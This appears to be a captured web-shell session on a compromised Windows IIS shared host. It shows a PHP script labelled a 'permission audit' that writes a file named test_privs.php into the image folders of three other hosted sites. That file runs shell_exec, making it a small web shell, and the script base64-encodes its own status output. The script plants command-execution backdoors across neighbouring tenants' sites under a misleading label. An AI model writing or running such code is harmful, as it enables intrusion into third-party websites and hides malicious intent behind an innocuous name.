System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$sites = [
    'D:\Inetpub\vhosts\appclients.in\gkaary.com',
    'D:\Inetpub\vhosts\appclients.in\asws.co.in',
    'D:\Inetpub\vhosts\appclients.in\mandakiniuniversity.com'
];

$output = "--- Multi-Vhost Permission Audit ---\n";
foreach ($sites as $site) {
    $target = $site . '\image\product\test_privs.php';
    if (file_put_contents($target, '<?php echo shell_exec("dir C:\\ 2>&1"); ?>')) {
        $output .= "[+] Deployed to $site\n";
    } else {
        $output .= "[-] Failed to deploy to $site\n";
    }
}

echo base64_encode($output);
?>